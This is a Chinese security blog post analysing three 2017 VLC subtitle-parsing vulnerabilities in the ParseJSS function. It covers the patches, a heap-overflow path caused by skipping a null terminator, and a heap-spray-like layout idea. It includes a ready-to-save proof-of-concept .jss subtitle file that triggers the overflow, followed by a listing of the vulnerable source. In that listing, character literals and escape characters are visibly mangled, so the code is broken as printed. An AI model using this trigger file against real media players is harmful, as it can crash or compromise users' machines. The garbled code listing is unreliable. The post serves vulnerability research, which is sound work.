當前位置:
首頁 > 新聞 > VLC播放器載入惡意字幕文件導致執行任意代碼漏洞分析與POC實現

VLC播放器載入惡意字幕文件導致執行任意代碼漏洞分析與POC實現

今年5月23號的時候,聽說checkpoint搞了個大新聞:vlc等播放器載入特定字幕可以完全控制用戶電腦。當時我就震驚了:還有何種操作。想想看,當你吃著辣條,看著電影,突然就彈了個計算器,這電影真高級(滑稽。**

震驚之餘就有點好奇到底是怎麼做到的,但是當時checkpoint說考慮到影響,暫時不會公布細節。剛好這幾天有空,就分析了一下。**


1. 官方公告


這是checkpoint的新聞。Checkpoint對這個漏洞的描述是:VLC ParseJSS Null Skip Subtitle Remote Code Execution


http://blog.checkpoint.com/2017/05/23/hacked-in-translation/

這篇裡面有對應的cve列表


>https://threatpost.com/subtitle-hack-leaves-200-million-vulnerable-to-remote-code-execution/125868/


CVE列表


https://nvd.nist.gov/vuln/detail/CVE-2017-8313


https://nvd.nist.gov/vuln/detail/CVE-2017-8312


https://nvd.nist.gov/vuln/detail/CVE-2017-8311


對應的代碼patch地址,在cve鏈接裡面有


這裡用vlc2.2.4版本的源碼和32bit release來分析,大家可以自己到vlc官網下載。


有問題的函數代碼貼在文章最後面,方便分析。

2. 分析漏洞


大致閱讀以下ParseJSS函數的代碼,可以猜測漏洞應該跟緩衝區溢出有關,而且是堆上的緩衝區。


堆緩衝區溢出的利用思路一般是實現out-of-bounds write,根據write的數據不同,又有更具體的細分(實際上有的利用方法在最新的os裡面已經失效了)



覆蓋heap鏈表的元數據,實現write what where


覆蓋相鄰heap上的對象的虛表


覆蓋相鄰heap上的函數指針


覆蓋相鄰heap上的FILE對象


覆蓋相鄰heap上的數組的元數據實現內存任意讀寫


等等

總的來說一句話:先實現out-of-bounds write,這是最關鍵的一步


CVE-2017-8313


這個cve的描述大致是由於在循環遍歷字元串字元的時候,沒有檢查字元串終止標記(0字元),導致out-of-bounds read。下面是對應的patch



這個改動很好理解,就不多說了。


其實我一度以為這個patch對應checkpoint對漏洞的描述:VLC ParseJSS Null Skip Subtitle Remote Code Execution。但實際上並不是。。。


不過這裡是out-of-bounds read,最多也就拋異常,如果能覆蓋SEH結構的話,倒還有點用,但是並沒有。所以先跳過這個。


CVE-2017-8312

這個cve的大概描述是由於沒有檢查字元串長度,導致越界讀內存(out-of-bounds read),可能會讀到沒有初始化的數據。



從patch裡面可以看到,shift似乎受我們控制,但是這裡只能實現越界讀,並不能實現越界寫。


剩下最後一個了,看看有沒有驚喜。


CVE-2017-8311


這個cve的描述大概是由於跳過字元串終止標記導致緩衝區溢出,從而導致執行任意代碼。


看起來就是關鍵啊,先來看看patch。



這部分代碼是在switch的這個分支裡面:case 『』:


這裡psz_text被加了兩次,然後switch的break出去之後,還有一次psz_text++;總共加了3次。


所以如果剛好*(psz_text + 2) ==『0』的話,會導致這個0字元被跳過,然後就溢出了。


問題是,看起來這個0字元後面的數據不受我們控制啊。


如果你嘗試構造一下類似的字元串測試,會發現提前就被截斷了:

abcd『0』 efg

efg這部分數據到不了後面的代碼路徑。


怎麼辦?


如果你用調試器自己一遍運行流程的話,你會發現,psz_text的地址似乎有可能每次都一樣的。

是不是想到了什麼?對的,就是類似heap spraying。


假設有兩個字元串,1的長度比2的長


那麼載入1,首先在內存里看到的是

BBBBBBBBBBBBBBB

然後載入2,在內存里看到的是

aaaaaaaaaaa』0』BBBB

0字元後面的數據是受我們控制的


3. poc


考慮到影響,更進一步的分析就不做了,這裡放出供測試用的poc


把這段字元串複製到文本文件裡面,保存為jss後綴的文件就可以了。

0:0:0.0 0:0:0
0:0:0.0 0:0:0.0 [ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
0:0:0.0 0:0:0.0 [ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaC

在調試器里驗證的結果



4.ParseJSS的代碼方便參考

static int ParseJSS( demux_t *p_demux, subtitle_t *p_subtitle, int i_idx )
{
VLC_UNUSED( i_idx );

demux_sys_t *p_sys = p_demux->p_sys;
text_t *txt = &p_sys->txt;
char *psz_text, *psz_orig;
char *psz_text2, *psz_orig2;
int h1, h2, m1, m2, s1, s2, f1, f2;

if( !p_sys->jss.b_inited )
{
p_sys->jss.i_comment = 0;
p_sys->jss.i_time_resolution = 30;
p_sys->jss.i_time_shift = 0;

p_sys->jss.b_inited = true;
}

/* Parse the main lines */
for( ;; )
{
const char *s = TextGetLine( txt );
if( !s )
return VLC_EGENERIC;

psz_orig = malloc( strlen( s ) + 1 );
if( !psz_orig )
return VLC_ENOMEM;
psz_text = psz_orig;

/* Complete time lines */
if( sscanf( s, "%d:%d:%d.%d %d:%d:%d.%d %[^

]",
&h1, &m1, &s1, &f1, &h2, &m2, &s2, &f2, psz_text ) == 9 )
{
p_subtitle->i_start = ( (int64_t)( h1 *3600 + m1 * 60 + s1 ) +
(int64_t)( ( f1 + p_sys->jss.i_time_shift ) / p_sys->jss.i_time_resolution ) )
* 1000000;
p_subtitle->i_stop = ( (int64_t)( h2 *3600 + m2 * 60 + s2 ) +
(int64_t)( ( f2 + p_sys->jss.i_time_shift ) / p_sys->jss.i_time_resolution ) )
* 1000000;
break;
}
/* Short time lines */
else if( sscanf( s, "@%d @%d %[^

]", &f1, &f2, psz_text ) == 3 )
{
p_subtitle->i_start = (int64_t)(
( f1 + p_sys->jss.i_time_shift ) / p_sys->jss.i_time_resolution * 1000000.0 );
p_subtitle->i_stop = (int64_t)(
( f2 + p_sys->jss.i_time_shift ) / p_sys->jss.i_time_resolution * 1000000.0 );
break;
}
/* General Directive lines */
/* Only TIME and SHIFT are supported so far */
else if( s[0] == "#" )
{
int h = 0, m =0, sec = 1, f = 1;
unsigned shift = 1;
int inv = 1;

strcpy( psz_text, s );

switch( toupper( (unsigned char)psz_text[1] ) )
{
case "S":
shift = isalpha( (unsigned char)psz_text[2] ) ? 6 : 2 ;

if( sscanf( &psz_text[shift], "%d", &h ) )
{
/* Negative shifting */
if( h < 0 ) { h *= -1; inv = -1; } if( sscanf( &psz_text[shift], "%*d:%d", &m ) ) { if( sscanf( &psz_text[shift], "%*d:%*d:%d", &sec ) ) { sscanf( &psz_text[shift], "%*d:%*d:%*d.%d", &f ); } else { h = 0; sscanf( &psz_text[shift], "%d:%d.%d", &m, &sec, &f ); m *= inv; } } else { h = m = 0; sscanf( &psz_text[shift], "%d.%d", &sec, &f); sec *= inv; } p_sys->jss.i_time_shift = ( ( h * 3600 + m * 60 + sec )
* p_sys->jss.i_time_resolution + f ) * inv;
}
break;

case "T":
shift = isalpha( (unsigned char)psz_text[2] ) ? 8 : 2 ;

sscanf( &psz_text[shift], "%d", &p_sys->jss.i_time_resolution );
break;
}
free( psz_orig );
continue;
}
else
/* Unkown type line, probably a comment */
{
free( psz_orig );
continue;
}
}

while( psz_text[ strlen( psz_text ) - 1 ] == "\" )
{
const char *s2 = TextGetLine( txt );

if( !s2 )
{
free( psz_orig );
return VLC_EGENERIC;
}

int i_len = strlen( s2 );
if( i_len == 0 )
break;

int i_old = strlen( psz_text );

psz_text = realloc_or_free( psz_text, i_old + i_len + 1 );
if( !psz_text )
return VLC_ENOMEM;

psz_orig = psz_text;
strcat( psz_text, s2 );
}

/* Skip the blanks */
while( *psz_text == " " || *psz_text == " " ) psz_text++;

/* Parse the directives */
if( isalpha( (unsigned char)*psz_text ) || *psz_text == "[" )
{
while( *psz_text != " " )
{ psz_text++ ;};

/* Directives are NOT parsed yet */
/* This has probably a better place in a decoder ? */
/* directive = malloc( strlen( psz_text ) + 1 );
if( sscanf( psz_text, "%s %[^

]", directive, psz_text2 ) == 2 )*/
}

/* Skip the blanks after directives */
while( *psz_text == " " || *psz_text == " " ) psz_text++;

/* Clean all the lines from inline comments and other stuffs */
psz_orig2 = calloc( strlen( psz_text) + 1, 1 );
psz_text2 = psz_orig2;

for( ; *psz_text != "" && *psz_text != "
" && *psz_text != "
"; )
{
switch( *psz_text )
{
case "{":
p_sys->jss.i_comment++;
break;
case "}":
if( p_sys->jss.i_comment )
{
p_sys->jss.i_comment = 0;
if( (*(psz_text + 1 ) ) == " " ) psz_text++;
}
break;
case "~":
if( !p_sys->jss.i_comment )
{
*psz_text2 = " ";
psz_text2++;
}
break;
case " ":
case " ":
if( (*(psz_text + 1 ) ) == " " || (*(psz_text + 1 ) ) == " " )
break;
if( !p_sys->jss.i_comment )
{
*psz_text2 = " ";
psz_text2++;
}
break;
case "\":
if( (*(psz_text + 1 ) ) == "n" )
{
*psz_text2 = "
";
psz_text++;
psz_text2++;
break;
}
if( ( toupper((unsigned char)*(psz_text + 1 ) ) == "C" ) ||
( toupper((unsigned char)*(psz_text + 1 ) ) == "F" ) )
{
psz_text++; psz_text++;
break;
}
if( (*(psz_text + 1 ) ) == "B" || (*(psz_text + 1 ) ) == "b" ||
(*(psz_text + 1 ) ) == "I" || (*(psz_text + 1 ) ) == "i" ||
(*(psz_text + 1 ) ) == "U" || (*(psz_text + 1 ) ) == "u" ||
(*(psz_text + 1 ) ) == "D" || (*(psz_text + 1 ) ) == "N" )
{
psz_text++;
break;
}
if( (*(psz_text + 1 ) ) == "~" || (*(psz_text + 1 ) ) == "{" ||
(*(psz_text + 1 ) ) == "\" )
psz_text++;
else if( *(psz_text + 1 ) == "
" || *(psz_text + 1 ) == "
" ||
*(psz_text + 1 ) == "" )
{
psz_text++;
}
break;
default:
if( !p_sys->jss.i_comment )
{
*psz_text2 = *psz_text;
psz_text2++;
}
}
psz_text++;
}

p_subtitle->psz_text = psz_orig2;
msg_Dbg( p_demux, "%s", p_subtitle->psz_text );
free( psz_orig );
return VLC_SUCCESS;
}

*本文作者:nekonekow,轉載請註明FreeBuf.COM





喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

深入分析一波,你們說的雲安全到底是什麼鬼?
Wolf CMS 新舊兩個版本中的文件上傳漏洞分析
黑產大數據:手機黑卡調查
挖洞經驗|雅虎小企業服務平台Luminate身份認證漏洞

TAG:FreeBuf |

您可能感興趣

WordPress內核中一個任意文件刪除漏洞,可導致攻擊者執行任意代碼
PHP的文件載入
ISO鏡像文件中發現惡意軟體
IPFS:下一代分散式文件系統
架構師入門必看系列,分散式文件系統HDFS解讀
WinRAR漏洞曝光:可植入惡意文件 需儘快升級
用戶態文件系統(FUSE)框架分析和實戰
記一次利用BLIND OOB XXE漏洞獲取文件系統訪問許可權的測試
ASP 引用文件
Chrome將修正文件系統API漏洞
蘋果Mac系統APFS 文件系統存在 Bug,可能會導致數據丟失
將DOC文件格式轉換成PDF文件格式,並進行許可權設置
CorelDRAW 文件發印刷廠注意事項
你是如何將AI文件分層導入PS的?
我的 P30 Pro 簡單使用體驗,以及如何查看是否支持 EROFS 文件系統
PHP 生成 CSV 文件
Log結構文件系統的設計與實現
在CDR軟體中導入 AI、PS和PDF 文件的方法
PHP之ThinkPHP框架(驗證碼、文件上傳、圖片處理)
最強的PDF列印設備(任何能打開的文件都可轉化為PDF)